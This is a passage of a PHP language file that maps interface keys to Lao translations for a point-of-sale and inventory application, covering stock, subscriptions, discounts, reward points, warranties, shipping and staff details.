ບໍ່ມີສະຕັອກທີ່ຈຳເປັນສຳຫຼັບສິນຄ້າ <i>:product_name</i>', 'load_more' => 'ໂຫຼດເພີ່ມເຕີມ', 'cash_flow' => 'ກະແສເງິນສົດ', 'subscribe' => 'ກົດຕິດຕາມ', 'subscription_interval' => 'ຊ່ວງເວລາການສະໝັກ', 'enable_subscription' => 'ເປີດໃຊ້ງານການສະໝັກຮັບຂໍ້ມູນ', 'subscription_no' => 'ການສະໝັກຮັບຂໍ້ມູນ ເລກທີ.', 'start_subscription' => 'ເລີ່ມສະໝັກຮັບຂໍ້ມູນ', 'stop_subscription' => 'ຢຸດສະໝັກຮັບຂໍ້ມູນ', 'subscriptions' => 'ສະໝັກຮັບຂໍ້ມູນ', 'generated_invoices' => 'ສ້າງໃບແຈ້ງໜີ້', 'last_generated' => 'ສ້າງຄັ້ງຫຼ້າສຸດ', 'upcoming_invoice' => 'ໃບແຈ້ງໜີ້ທີ່ຈະເກີດຂຶ້ນ', 'total_sales_return' => 'ຍອດຂາຍຄືນ', 'subscription_invoice' => 'ໃບແຈ້ງໜີ້ທີ່ສະໝັກເປັນສະໝັກມາຊິກ', 'subscribed_invoice' => 'ໃບແຈ້ງໜີ້ທີ່ສະໝັກເປັນສະໝັກມາຊິກ', 'view_document' => 'ເບິ່ງເອກະສານ', 'invoice_url_help' => 'Link ເພື່ອເບິ່ງໃບແຈ້ງໜີ້ໂດຍບໍ່ຕ້ອງເຂົ້າລະບົບ.', 'unit_cannot_be_deleted' => 'ມີສິນຄ້າໃນໜ່ວຍນີ້ບໍ່ສາມາດລຶບໄດ້', 'expiry_date_in_business_date_format' => 'ວັນໝົດອາຍຸຂອງສະຕັອກໃນ <b>ຮູບແບບວັນທີທຸລະກິດ</b>', 'deactivate_selected' => 'ປິດໃຊ້ງານລາຍການທີ່ເລືອກ', 'products_deactivated_success' => 'ປິດໃຊ້ງານສິນຄ້າຮຽບຮ້ອຍ', 'deactive_product_tooltip' => 'ສິນຄ້າທີ່ປິດໃຊ້ງານຈະບໍ່ສາມາດຊື້ ຫຼື ຂາຍໄດ້', 'reactivate' => 'ເປີດໃຊ້ອີກຄັ້ງ', 'allow_overselling_help' => 'ກວດສອບຟິວນີ້ເພື່ອໃຫ້ສິນຄ້າຂາຍໄດ້ຫຼາຍຫວ່າປະລິມານ. ປະລິມານທີ່ຫຼາຍເກີນໄປຈະຖືກປັບໂດຍອັດຕະໂນມັດຈາກສະຕັອກໃນອະນາຄົດ.', 'add_discount' => 'ເພີ່ມສ່ວນຫຼຸດ', 'applicable_in_cpg' => 'ນຳໄປໃຊໃນກຸ່ມລາຄາຂາຍ', 'applicable_in_cg' => 'ນຳໄປໃຊໃນກຸ່ມລູກຄ້າ', 'is_active' => 'ມີການໃຊ້ງານ', 'discount_priority_help' => 'ສ່ວນຫຼຸດມີ່ມີລະດັບຄວາມສຳຄັນສູງກວ່າຈະມີນໍ້າໜັກຫຼາຍຂຶ້ນ, ແນວໃດກໍຕາມລຳດັບຄວາມສຳຄັນຈະບໍ່ຖືກພິຈາລະນາສຳລັບການແຂ່ງຂັນທີ່ແນ່ນອນ', 'inactive' => 'ບໍ່ໄດ້ໃຊ້ງານ', 'applied_discount_text' => 'ສ່ວນຫຼຸດ: <i>:discount_name</i> ໃຊ້ງານ (ສິ້ນສຸດວັນທີ: <i>:ends_at</i>)', 'discount.access' => 'ເພີ່ມ/ແກ້ໄຂ/ລຶບ ສ່ວນຫຼຸດ', 'product_stock_details' => 'ລາຍລະອຽດກ່ຽວກັບສະຕັອກສິນຄ້າ', 'search' => 'ຄົ້ນຫາ', 'total_sold' => 'ຍອກຂາຍລວມ', 'total_stock_available' => 'ສະຕັອກລວມທີ່ມີຢູ່', 'total_stock_transfered_to_the_location' => 'ຈຳນວນສະຕັອກທັງໝົດທີ່ໂອນໄປສະຖານທີ່', 'total_stock_transfered_from_the_location' => 'ຈຳນວນສະຕັອກທັງໝົດທີ່ໂອນຈາກສະຖານທີ່', 'total_stock_calculated' => 'ຄຳນວນສະຕັອກທັງໝົດ', 'adjust_stock_mismatch' => 'ປັບສະຕັອກມີ່ບໍ່ກົງກັນ', 'opening_balance_payments' => 'ເປີດຍອດການຊໍາລະເງິນ', 'enable_service_staff_in_product_line' => 'ເປີດໃຊ້ງານພະນັກງານບໍລິການໃນສານສິນຄ້າ', 'inline_service_staff_tooltip' => 'ຖ້າເປີດໃຊ້ງານພະນັກງານບໍລິການທີ່ແຕກຕ່າງກັນສາມາດກຳນົດໃຫ້ກັບສິນຄ້າທີ່ແຕກຕ່າງກັນ ສຳຫລັບການສັ່ງຊື້ / ຂາຍ', 'line_orders' => 'ລາຍກາຍນັ່ງຊື້', 'total_tax' => 'ພາສີທັວໝົດ', 'total_discount' => 'ຫຼຸກລາຄາທັງໝົດ', 'net_price' => 'ລາຄາສຸດທິ', 'select_same_for_all_rows' => 'ເລືອກຄ່າດຽວກັນສຳຫຼັບສິນຄ້າທັງໝົດ', 'edited' => 'ແກ້ໄຂແລ້ວ', 'by' => 'ໂດຍ', 'upload_documents' => 'ອັບໂຫລດ ເອກະສານ', 'documents' => 'ເອກະສານ', 'click_to_print' => 'ກົດພື່ອພິມ', 'deactivated_success' => 'ປິດການໃຊ້ງານຮຽບຮ້ອຍ', 'products_could_not_be_deleted' => 'ບໍ່ສາມາດລຶບສິນຄ້າບບາງລາຍການໄດ້ເນື່ອງຈາກມີທຸລະກຳທີ່ກ່ຽວຂ້ອງ.', 'price' => 'ລາຄາ', 'auto_backup_instruction' => 'ເພື່ອເປີດໃຊ້ງານບັນຊີອັດຕະໂນມັດ ແລະການລຶບບັນຊີອັດຕະໂນມັດທ່ານຈະຕ້ອງກໍາຫນົດວິຊາ cron ການນີ້ມີລະຫັດນີ້', 'gross_profit' => 'ກຳໄລຂັ້ນຕົ້ນ', 'single' => 'ອັນດຽວ', 'variable' => 'ຜັນປ່ຽນ', 'total_purchase_price' => 'ລາຄາຊື້ທັງໝົດ', 'total_sell_price' => 'ລາຄາຂາຍທັງໝົດ', 'packing_slip' => 'ສະສິບບັນຈຸພັນ', 'use_superadmin_email_settings' => 'ໃຊ້ການຕັ້ງຄ່າອີເມວຂອງລະບົບ', 'profit_by_products' => 'ກຳໄລຕາມສິນຄ້າ', 'profit_by_categories' => 'ກຳໄລຕາໝວກໝູ່', 'profit_by_brands' => 'ກຳໄລຕາມສາຂາ', 'profit_by_locations' => 'ກຳໄລໂດຍສະຖານທີ່', 'profit_by_invoice' => 'ກຳໄລໂດຍໃບແຈ້ງໜີ້', 'profit_by_date' => 'ກຳໄລໂດຍມື້', 'uncategorized' => 'ບໍມີໝວດໝູ່', 'add_purchase_return' => 'ເພີ່ມການສົ່ງຄືນສິນຄ້າ', 'edit_purchase_return' => 'ແກ້ໄຂການສົ່ງຄືນສິນຄ້າ', 'purchase_return_updated_success' => 'ປັບປຸງການສົ່ງຄືນສິນຄ້າຮຽບຮ້ອຍ', 'profit_by_customer' => 'ກຳໄລໂດຍລູກຄ້າ', 'profit_by_day' => 'ກຳໄລລາຍວັນ', 'sunday' => 'ວັນອາທິດ', 'monday' => 'ວັນຈັນ', 'tuesday' => 'ວັນຄານ', 'wednesday' => 'ວັນພຸດ', 'thursday' => 'ວັນພະຫັດ', 'friday' => 'ວັນສຸກ', 'saturday' => 'ວັນເສົາ', 'show_product_image' => 'ສະແດງຮູບພາບຂອງສິນຄ້າ', 'view_user' => 'ເບິ່ງຜູ້ໃຊ້', 'allow_selected_contacts' => 'ອະນຸຍາດໃຫ້ຜູ້ຕິດຕໍ່ທີ່ເລືອກ', 'allow_selected_contacts_tooltip' => 'ອະນຸຍາດໃຫ້ເຂົ້າເຖິງລາຍຊື່ຕິດຕໍ່ທີ່ເລືອກໃນຊ່ອງຄົ້ນຫາ ການຂາຍ/ລູກຄ້າທີ່ຊື້/ຜຼ້ສະໜອງ', 'allowed_contacts' => 'ລາຍຊື່ຜູ້ຕິດຕໍ່ທີ່ອະນຸຍາດ', 'view_purchase_price' => 'ດບິ່ງລາຄາຊື້', 'view_purchase_price_tooltip' => 'ອະນຸຍາດໃຫ້ເບິ່ງລາຄາຊື້ໃນລາຍລະອຽດສິນຄ້າ, ການໂອນສະຕັອກແລະການປັບສະຕັອກ', 'created' => 'ສ້າງ', 'updated' => 'ປັບປຸງ', 'deleted' => 'ລົບ', 'day' => 'ມື້', 'is_service_staff_required' => 'ແມ່ນຈຳເປັນສຳຫູັບພະນັກງານບໍລິການ', 'items_report' => 'ລາຍງານລາຍການ', 'purchase_price' => 'ລາຄາຊື້', 'sell_date' => 'ວັນທີຂາຍ', 'returned' => 'ສົ່ງຄືນ', 'dob' => 'ວັນເດືອນປີເກີດ', 'married' => 'ແຕ່ງງານ', 'unmarried' => 'ຍັງບໍ່ໄດ້ແຕ່ງງານ', 'marital_status' => 'ສະຖານະພາບສົມລົດ', 'blood_group' => 'ກຣຸບເລືອດ', 'divorced' => 'ຢ່າຮ້າງ', 'contact_no' => 'ເລກຕິດຕໍ', 'fb_link' => 'Facebook Link', 'twitter_link' => 'Twitter Link', 'social_media' => 'ສື່ສັງຄົມ :number', 'permanent_address' => 'ທີ່ຢູ່ຖາວອນ', 'current_address' => 'ທີ່ຢູ່ປັດຈຸບັນ', 'guardian_name' => 'ຊື່ຜູ້ຄຸ້ມຄອງ', 'custom_field' => 'ຟິວທີ່ກຳນົດເອງ :number', 'bank_details' => 'ລາຍລະອຽດຂອງທະນາຄານ', 'account_holder_name' => 'ຊື່ຜູ້ຖືບັນຊີ', 'account_number' => 'ເລກບັນຊີ', 'bank_name' => 'ຊື່ທະນາຄານ', 'bank_code' => 'ລະຫັດລະບຸຕົວຕົນຂອງທະນາຄານ', 'bank_code_help' => 'ລະຫັດທີ່ບໍ່ຊໍ້າເພື່ອລະບຸທະນາຄານໃນປະເທດຂອງເຈົ້າ, ເຊັ່ນ ຕົວຢ່າງ: ລະຫັດ IFSC ', 'branch' => 'ສາຂາ', 'tax_payer_id' => 'ID ຜູ້ເສຍພາສີ', 'tax_payer_id_help' => 'ເລກປະຈຳຕົວຜູ້ເສຍພາສີຂອງພະນັກງານ, ເຊັ່ນ ຕົວຢ່າງ, PAN ບັດໃນປະເທດອິນເດຍ', 'more_info' => 'ຂໍ້ມູນເພີ່ມເຕີມ', 'id_proof_name' => 'ID ຊື່ຫຼັກຖານ', 'id_proof_number' => 'ID ເລກຫຼັກຖານ', 'view_own_sell_only' => 'ເບິ່ງການຂາຍຂອງຕົວເອງເທົ່ານັ້ນ', 'reward_point_settings' => 'ຕັ້ງຄ່າຄະແນນສະສົມ', 'enable_rp' => 'ເປີດໃຊ້ງານຄະແນນສະສົມ', 'rp_name' => 'ຊື່ທີ່ສະແດງຂອງລາງວັນຄະແນນ', 'amount_for_unit_rp' => 'ຈຳນວນເງິນທີ່ໃຊ້ຈ່າຍສຳຫຼັບໜ່ວຍຄະແນນ', 'min_order_total_for_rp' => 'ຍອດລວມຂັ້ນຕໍ່າໃຍການຮັບລາງວັນ', 'max_rp_per_order' => 'ຄະແນນສູງສຸດຕໍ່ການສັ່ງຊື້', 'earning_points_setting' => 'ຕັ້ງຄ່າຄະແນນລາຍໄດ້', 'redeem_points_setting' => 'ການຕັ້ງຄ່າຄະແນນແລກ', 'redeem_amount_per_unit_rp' => 'ແລກຈຳນວນເງິນຕໍໜ່ວຍຄະແນນ', 'min_order_total_for_redeem' => 'ຍອດລວມຂັ້ນຕໍ່າໃນການແລກຄະແນນ', 'min_redeem_point' => 'ຄະແນນແລກຂັ້ນຕໍ່າ', 'max_redeem_point' => 'ຄະແນນແລກສູງສຸດຕໍ່ການສັ່ງຊື້', 'rp_expiry_period' => 'ໄລຍະເວລາໝົດອາຍຸຂອງຄະແນນສະສົມ', 'redeemed_amount' => 'ຈຳນວນເງິນທີ່ແລກ', 'max_points_used' => 'ສູງສຸດ :points ສາມາດໃຊ້ຄະແນນສະສົມໄດ້', 'reward_points' => 'ຄະແນນສະສົມ', 'max_reward_point_available' => 'ສູງສຸດ :name ໃຊ້ໄດ້', 'min_reward_points_used' => 'ຂັ້ນຕໍ່າ:name ທີ່ສາມາດໃຊ້ໄດ້', 'redeemed' => 'ແລກ', 'available' => 'ໃຊ້ໄດ້', 'earned' => 'ໄດ້ຮັບ', 'total_reward_amount' => 'ລວມລາງວັນຂອງລູກຄ້າ', 'ledger' => 'ບັນຊີແຍກປະເພດ', 'type' => 'ປະເພດ', 'show_payments' => 'ສະແດງການຊຳລະເງິນ', 'variation_images' => 'ຊຸດຮູບແບບຮູບພາບ', 'file_deleted_successfully' => 'ລົບໄຟຮຽບຮ້ອຍແລ້ວ', 'combo' => 'ປະສົມ', 'not_for_selling' => 'ບໍ່ແມ່ນສຳລັບຂາຍ', 'tooltip_not_for_selling' => 'ຖ້າດຮັດເຄື່ອງໝາຍໄວ້, ສິນຄ້າຈະບໍ່ຖືກສະແດງຢູ່ໜ້າຈໍຂາຍເພື່ອຈຸດປະສົງຂາຍ.', 'show_reward_point' => 'ສະແດງຄະແນນສະສົມ', 'enable_booking' => 'ເປັີດການຈອງ', 'bulk_edit' => 'ແກ້ໄຂເປັນກຸ່ມ', 'bulk_edit_products' => 'ແກ້ໄຂສິນຄ້າຈຳນວນຫຼາຍ', 'search_product_to_edit' => 'Search product to edit', 'related_sub_units' => 'ໜ່ວຍ ຍ່ອຍທີ່ກ່ຽວຂ້ອງ', 'sub_units_tooltip' => 'ຂຶ້ນກັບຫົວໜ່ວຍທີ່ຖືກເລືອກມັນຈະສະແດງຫົວໜ່ວຍຍ່ອຍ.ເລືອຫໜ່ວຍຍ່ອຍທີ່ກ່ຽວຂ້ອງ. ເວັ້ນຫວ່າງໄວ້ຖ້າໜ່ວຍ່ອຍທັງໝົດໃຊ້ກັບໜ່ວຍສິນຄ້າໄດ້.', 'enable_sub_units' => 'ເປີດໃຊ້ງານໜ່ວຍຍ່ອຍ', 'added_on' => 'ເພີ່ມໃສ່', 'quantity_mismatch_exception' => 'ຜິດພາດ: ບໍ່ອະນຸຍາດ: ປະລິມານທີ່ຂາຍ ແລະ ປລິມານທີ່ມີບໍ່ກົງກັນ. ສິນຄ້າ: :product', 'roles_and_permissions' => 'ບົດບາດແລະສິດ', 'admin_role_location_permission_help' => 'ຜູ້ດູແລລະບົບສາມາດເຂົ້າເຖິງທຸກໆສະຖານທີ່', 'edit_product_price_from_pos_screen' => 'ແກ້ໄຂລາຄາສິນຄ້າຈາກຈໍ POS', 'edit_product_discount_from_pos_screen' => 'ແກ້ໄຂການຫຼຸດລາຄາສິນຄ້າຈາກຈໍ POS', 'download_template_file' => 'ໂຫຼດເທັມເພສ', 'types_of_service' => 'ປະເພດຂອງບໍລິການ', 'add_type_of_service' => 'ເພີ່ມປະເພດຂອງບໍລິການ', 'packing_charge_type' => 'ປະເພດຂອງຄ່າບັນຈຸ', 'packing_charge' => 'ຄ່າບັນຈຸ', 'enable_custom_fields' => 'ເປີດໃຊ້ງານຟິວທີ່ກຳນົດເອງ', 'edit_type_of_service' => 'ແກ້ໄຂປະເພດຂອງການບໍລິການ', 'types_of_service_help' => 'ປະເພດຂອງການບໍລິການໝາຍເຖິງ ບລິການຕ່າງໆເຊັ່ນ ຮັບປະທານອາຫານໃນບ້ານ, ການຮັບສົ່ງພັດສະດຸ , ການຈັດສົ່ງເຖິງບ້ານ, ການສົ່ງມອບໂດຍບຸກຄົນທີ່ສາມ ອື່ນໆ.', 'select_types_of_service' => 'ປະເພດຂອງການບໍລິການ', 'service_custom_field_1' => 'ຟິວທີ່ກຳນົດເອງ 1', 'service_custom_field_2' => 'ຟິວທີ່ກຳນົດເອງ 2', 'service_custom_field_3' => 'ຟິວທີ່ກຳນົດເອງ 3', 'service_custom_field_4' => 'ຟິວທີ່ກຳນົດເອງ 4', 'default_selling_price_group' => 'ກຸ່ມລາຄາຂາຍເລີ່ມຕົ້ນ', 'location_price_group_help' => 'ກຸ່ມລາຄານີ້ຈະເປັນກຸ່ມລາຄາເລີ່ມຕົ້ນໃນສະຖານທີ່ນີ້.', 'types_of_service_help_long' => 'ປະເພດຂອງການບໍລິການໝາຍເຖິງ ບລິການຕ່າງໆເຊັ່ນ ການຮັບສົ່ງພັດສະດຸ ການຈັດສົ່ງເຖິງບ້ານ ການສົ່ງມອບໂດຍບຸກຄົນທີ່ສາມເປັນຕົ້ນ. ສາມາດ ເປີດ/ປິດ ການໃຊ້ງານຈາກ <code>ຕັ້ງຄ່າ > ໂມດູນ</code> ແລະສາມາດສ້າງຈາກ <code>Settings > ປະເພດຂອງການບໍລິການ</code>. ນອກຈາກນີ້ເຈົ້າສາມາດກຳນົດກຸ່ມລາຄາ ແລະ ຄ່າບັນຈູສຳຫຼັບປະເພດບໍລິການ.', 'default_accounts' => 'ບັນຊີຕັ້ງຕົ້ນ', 'product_location_help' => 'ສະຖານທີ່ທີ່ຈະວາງຈຳໜ່າຍສິນຄ້າ.', 'available_in_locations' => 'ວາງຈຳໜ່າຍໃນສະຖານທີ່ຕ່າງໆ', 'enable' => 'ເປີດໃຊ້ງານ', 'payment_options' => 'ຕົວເລືອກໃນການຈ່າຍເງິນ', 'pay_reference_no' => 'ເລກຈ້າງອິງກ່ນຈ່າຍ.', 'search_settings' => 'ຕັ້ງຄ່າການຄົ້ນຫາ', 'custom_labels' => 'ປ້າຍທີ່ກຳນົດເອງ', 'labels_for_custom_payments' => 'ປ້າຍສຳຫຼັບການຊຳລະເງິນທີ່ກຳນົດເອງ', 'add_to_location' => 'ເພີ່ມໃສ່ສະຖານທີ່', 'remove_from_location' => 'ເອົາອອກຈາກສະຖານທີ', 'add_location_to_the_selected_products' => 'ເພີ່ມຕຳແໜ່ງໃຫ້ກັບຜະລິດຕະພັນທີ່ເລືອກ', 'remove_location_from_the_selected_products' => 'ຍ້າຍຕຳແໜ່ງອອກຈາກຜະລິດຕະພັນທີ່ເລືອກ', 'types_of_service_label' => 'ປະເພດຂອງປ້າຍບໍລິການ', 'show_types_of_service' => 'ສະແດງປະເພດຂອງບໍລິການ', 'show_tos_custom_fields' => 'ສະແດງປະເພດຂອງຟິວຂອງການບໍລິການທີ່ກຳນົດເອງ', 'types_of_service_module_settings' => 'ປະເພດຂອງການຕັ້ງຄ່າໂມດູນການບໍລິການ', 'product_business_location_tooltip' => 'ສິນຄ້າຈະສາມາດໃຊ້ໄດ້ໃນສະເພາະທີ່ຕັ້ງທຸລະກິດນີ້ເທົ່ານັ້ນ', 'product_not_assigned_to_any_location' => 'ສິນຄ້າບໍ່ໄດ້ຖືກກຳນົດໃຫ້ກັບສະຖານທີ່ໃດໆ', 'packed' => 'ບັນຈູ', 'shipped' => 'ການຈັດສົ່ງ', 'delivered' => 'ສົ່ງ', 'shipping_address' => 'ທີ່ຢູ່ສຳຫຼັບຈັດສົ່ງ', 'shipping_status' => 'ສະຖານະການສົ່ງ', 'delivered_to' => 'ສົ່ງເຖິງ', 'edit_shipping' => 'ແກ້ໄຂການຂົນສົ່ງ', 'shipments' => 'ການຂົນສົ່ງ', 'access_shipping' => 'ເຂົ້າເຖິງການຂົນສົ່ງ', 'uploaded_by' => 'ອັບໂຫລດໂດຍ', 'account_types' => 'ປະເພດບັນຊີ', 'add_account_type' => 'ເພີ່ມປະເພດບັນຊີ', 'parent_account_type' => 'ປະເພດບັນຊີຫຼັກ', 'edit_account_type' => 'ແກ້ໄຂປະເພດບັນຊີ', 'account_type' => 'ປະເພດບັນຊີ', 'account_sub_type' => 'ປະເພດບັນຊີຍ່ອຍ', 'enable_updating_product_price_tooltip' => 'ຖ້າລາຄາຊື້ສິນຄ້າທີ່ເປີດໃຊ້ງານແລະລາຄາຂາຍຈະຖືກປັບປຸງຫຼັງຈາກມີການເພີ່ມຫຼືປັບປຸງການຊື້', 'default_datatable_page_entries' => 'ລາຍການໜ້າ Datatable ເລີ່ມຕົ້ນ', 'third_party_order_id' => 'ID ສັ່ງຊື້ຂອງບຸກຄົນທີ 3', 'payment_option_help' => 'ເປີດໃຊ້ງານ ຫຼື ປິດໃຊ້ງານວິທີການຊຳລະເວິນສຳຫຼັບສະຖານທີ່', 'default_account_help' => 'ເລືອກບັນຊີເລີ່ມຕົ້ນທີ່ຈະເລືອກໄວ້ລ່ວງໜ້າສຳຫຼັບວິທີການຊໍາລະເງິນ ທ່ານສາມາດປ່ຽນໄດ້ໃນຂະນະທີ່ເພີ່ມການຊຳລະເງິນ', 'product_not_found_exception' => 'ຜະລິດຕະພັນກັບ SKU :sku ບໍ່ພົບໃນແຖວ :row', 'price_group_not_found_exception' => 'ກຸ່ມລາຄາພ້ອມຊື່ :pg ບໍ່ພົບໃນແຖວ :row', 'price_group_non_numeric_exception' => 'ພົບລາຄາທີ່ບໍ່ແມ່ນຕົວເລກໃນແຖວ :row', 'update_status' => 'ປັບປຸງສະຖານະ', 'types_of_service_details' => 'ປະເພດຂອງລາຍລະອຽດການບໍລິການ', 'total_stock_price' => 'ມູນຄ່າສະຕັອກໃນປະຈຸບັນ', 'test_email_configuration' => 'ສົ່ງອີເມວທົດສອບ', 'email_tested_successfully' => 'ກວດສອບການກຳນົດຄ່າອີເມວຮຽບຮ້ອຍແລ້ວ', 'test_number' => 'ເລກທົດສອບ', 'test_sms_configuration' => 'ສົ່ງ SMS ທົດສອບ', 'test_number_is_required' => 'ຕ້ອງມີເລກທົດສອບ', 'import_contact_type_ins' => 'ຕົວເລືອກທີ່ມີ: <strong><br> 1 = ລູກຄ້າ, <br> 2 = ຜູ້ສະໜອງ <br> 3 = ທັງສອງ</strong>', 'enable_pos_transaction_date' => 'ເປີດໃຊ້ງານວັນທີເຮັດທຸລະກຳໃນໜ້າຈໍ POS', 'amount_for_unit_rp_tooltip' => '<strong>ໝາຍເຖິງຈຳນວນເງິນທີ່ລູກຄ້າໃຊ້ເພື່ອຮັບຄະແນນສະສົມ 1 ຄະແນນ.</strong> <br><br> <strong>ຕົວຢ່າງ:</strong> ຖ້າຕັ້ງຄ່າເປັນ 10, ຈາກນັ້ນສຳຫຼັບລູກຄ້າທີ່ໃຊ້ຈ່າຍທຸກໆ $10 ພວກເຂົາຈະໄດ້ຮັບຄະແນນສະສົມ 1 ຄະນະກຳມະການຂາຍທັງໝົດ. ຖ້າລູກຄ້າຊື້ $1000 ພວກເຂົາຈະໄດ້ຮັບຄະແນນສະສົມ 100.', 'max_rp_per_order_tooltip' => 'ຄະແນນສະສົມສູງສຸດທີ່ລູກຫຄ້າຈະໄດ້ຮັບໃນໃບແຈ້ງໜີ້ໃບດຽວ. ປະໃຫ້ມັນຫວ່າງໄວ້ຖ້າທ່ານບໍ່ຕ້ອງການຂໍ້ຈຳກັດນີ້.', 'min_order_total_for_rp_tooltip' => '<strong>ຈຳ ນວນເງິນຂັ້ນຕ່ຳທີ່ລູກຄ້າຄວນໃຊ້ເພື່ອຮັບຄະແນນສະສົມ.</strong> <br><br> <strong>ຕົວຢ່າງ:</strong>ຖ້າຕັ້ງຄ່າເປັນ 100 ລູກຄ້າຈະໄດ້ຮັບຄະແນນສະສົມສະເພາະໃນກໍລະນີທີ່ມີຍອດລວມໃນໃບແຈ້ງໜີ້ຫຼາຍກວ່າ ຫຼື ເທົ່າກັບ 100.ຫາກຍອດລວມໃນໃບແຈ້ງໜີ້ເທົ່າກັບ 99 ພວກເຂົາຈະບໍ່ໄດ້ຮັບຄະແນນສະສົມໃດໆ. <br><br>You can set it as minimum 1.', 'redeem_amount_per_unit_rp_tooltip' => '<strong> ສະແດງຈຳນວນເງິນທີ່ແລກຕໍ່ຈຸດ.</strong> <br><br> <strong>ຕົວຢ່າງ:</strong>ຖ້າ 1 ຄະແນນແມ່ນ $1 ແລ້ວໃສ່ຄ່າເປັນ 1. ຖ້າ 2 ຄະແນນຄື $1 ແລ້ວໃສ່ຄ່າເປັນ 0.50', 'min_order_total_for_redeem_tooltip' => 'ຍອດສັ່ງຊື້ຂັ້ນຕ່ຳທັງໝົດທີ່ລູກຄ້າສາມາດແລກຄະແນນໄດ້. ປ່ອຍໃຫ້ມັນຫວ່າງໄວ້ຖ້າທ່ານບໍ່ຕ້ອງການຂໍ້ ຈຳ ກັດນີ້ຫຼືທ່ານຕ້ອງການໃຫ້ຟຣີ.', 'min_redeem_point_tooltip' => 'ຄະແນນແລກຂັ້ນຕໍ່າທີ່ສາມາດໃຊ້ໄດ້ຕໍ່ໃບແຈ້ງໜີ້ ປະໃຫ້ມັນຫວ່າງໄວ້ຖ້າທ່ານບໍ່ຕ້ອງການຂໍ້ຈຳກັດນີ້.', 'max_redeem_point_tooltip' => 'ຄະແນນສູງສຸດທີ່ສາມາດໃຊ້ໃນການສັ່ງຊື້ຄັ້ງດຽວ ປະໃຫ້ມັນຫວ່າງໄວ້ຖ້າທ່ານບໍ່ຕ້ອງການຂໍ້ຈຳກັດນີ້.', 'rp_expiry_period_tooltip' => '<strong>ໄລຍະໝົດອາຍຸສຳລັບຄະແນນທີ່ລູກຄ້າໄດ້ຮັບ.</strong> <br><br>ທ່ານສາມາດຕັ້ງເປັນເດືອນ ຫຼື ປີຄະແນນທີ່ໝົດອາຍຸຈະຖືກຫັກອອກຈາກບັນຊີລູກຄ້າໂດຍອັດຕະໂນມັດຫຼັງຈາກຊ່ວງເວລານີ້.', 'configure_product_search' => 'ຕັ້ງຄ່າການຄົ້ນຫາຜະລິດຕະພັນ', 'search_products_by' => 'ຄົ້ນຫານສິນຄ້າໂດຍ', 'manage_modules' => 'ຈັດການໂມດູນ', 'install' => 'ຕິດຕັ້ງ', 'uninstall' => 'ຖອນການຕິດຕັ້ງ', 'module_new_version' => 'ມີໂມດູນຮຸ່ນໃໝ່: ທີ່ມີຢູ່ <a href=":link" class="tw-dw-btn tw-dw-btn-info tw-pl-2">ປັບປຸງ</a>', 'version' => 'ເວີເຊິິນ', 'duplicate_taxonomy_type_found' => 'ພົບປະເພດພາສີແບບຊໍ້າ', 'taxonomy_type_not_found' => 'ບໍ່ພົບປະເພດພາສີ', 'credit_sales' => 'ການຂາຍສິນເຊື່ອ', 'total_payment' => 'ການຊຳລພເງິນທັງໝົດ', 'deactivate_location' => 'ປີດສະຖານທີ່', 'activate_location' => 'ເປີດໃຊ້ສະຖານທີ່', 'business_location_activated_successfully' => 'ເປິດທີ່ີ່ຕັ້ງທຸລະກິດຮຽບຮ້ອຍ', 'business_location_deactivated_successfully' => 'ປິດທີ່ີ່ຕັ້ງທຸລະກິດຮຽບຮ້ອຍ', 'show_credit_sale_button' => 'ສະແດງປຸ່ມຂາຍສິນເຊື່ອ', 'show_credit_sale_btn_help' => 'ຖ້າເປີດໃຊ້ປຸ່ມການປ່ອຍສິນເຊື່ອຈະຖືກສະແດງຢູ່ບ່ອນປຸ່ມບັດເທິງໜ້າຈໍ POS', 'credit_sale' => 'ການຂາຍສິນເຊື່ອ', 'tooltip_credit_sale' => 'ຊຳລະເງິນເປັນການຂາຍສິນເຊື່ອ', 'add_as_sub_txonomy' => 'ເພີ່ມເປັນພາສີປະເພດຍ່ອຍ', 'select_parent_taxonomy' => 'Select parent taxonomy', 'warranty' => 'ຮັບປະກັນ', 'warranties' => 'ການຮັບປະກັນ', 'all_warranties' => 'ການຮັບປະກັນທັງໝົດ', 'add_warranty' => 'ເພີ່ມການຮັບປະກັນ', 'duration' => 'ໄລຍະເວລາ', 'edit_warranty' => 'ແກ້ໄຂການຮັບປະກັນ', 'enable_product_warranty' => 'ເປີດໃຊ້ງານການຮັບປະກັນ', 'warranty_ends_on' => 'ການຮັບປະກັນສິ້ນສຸດລົງ', 'restaurant_module_settings' => 'ການຕັ້ງຄ່າໂມດູນຮ້ານອາຫານ', 'warranty_module_settings' => 'ການຕັ້ງຄ່າໂມດູນຮັບປະກັນ', 'show_warranty_name' => 'ສະແດງຊື່ຮັບປະກັນ', 'show_warranty_exp_date' => 'ສະແດງວັນທີໝົດອາຍຸການຮັບປະກັນ', 'show_warranty_description' => 'ສະແດງ ຄຳອະທິບາຍກ່ຽວກັບການຮັບປະກັນ', 'gender' => 'ເພດ', 'male' => 'ຊາຍ', 'female' => 'ຍິງ', 'others' => 'ອື່ນໆ', 'recent_transactions' => 'ທຸລະກຳຫຼ້າສຸດ', 'add_row' => 'ເພີ່ມແຖວ', 'add_widget_here' => 'ເພີ່ມວິດເຈັດຢູ່ບ່ອນນີ້', 'move_row' => 'ຍ້າຍແຖວ', 'configure_dashboard' => 'ຕັ້ງຄ່າແຜງຄວບຄຸມ :name', 'change_return_label' => 'Change return label', 'change_return_help' => 'Change return ຄືຈຳນວນເງິນທີ່ຈະສົ່ງຄືນລູກຄ້າຖ້າຈ່າຍເກີນກຳນົດ.', 'profile_photo' => 'ຮູບໂປໄຟລ', 'upload_image' => 'ອັບໂຫລດຮູບພາບ', 'expense_tax' => 'ອາກອນລາຍຈ່າຍ', 'expense_tax_tooltip' => 'ລວມອາກອນທີ່ຈ່າຍໃຫ້ກັບຄ່າໃຊ້ຈ່າຍທາງທຸລະກິດໃນຊ່ວງເວລາທີ່ເລືອກ', 'tax_overall' => 'ໂດຍລວມ (ຂາເຂົ້າ - ຂາອອກ - ລາຍຈ່າຍ)', 'overdue' => 'ຄ້າງຊຳລະ', 'partial-overdue' => 'ບາງສ່ວນທີ່ຄ້າງຊຳລະ', 'due_date_label' => 'ປ້າຍກຳກັລວັນທີຄົບກຳນົດ', 'show_due_date' => 'ຟິວທີ່ກຳນົດເອງ', 'contact_custom_field1' => 'ຟິວທີ່ກຳນົດເອງ 1', 'contact_custom_field2' => 'ຟິວທີ່ກຳນົດເອງ 2', 'contact_custom_field3' => 'ຟິວທີ່ກຳນົດເອງ 3', 'contact_custom_field4' => 'ຟິວທີ່ກຳນົດເອງ 4', 'added_by' => 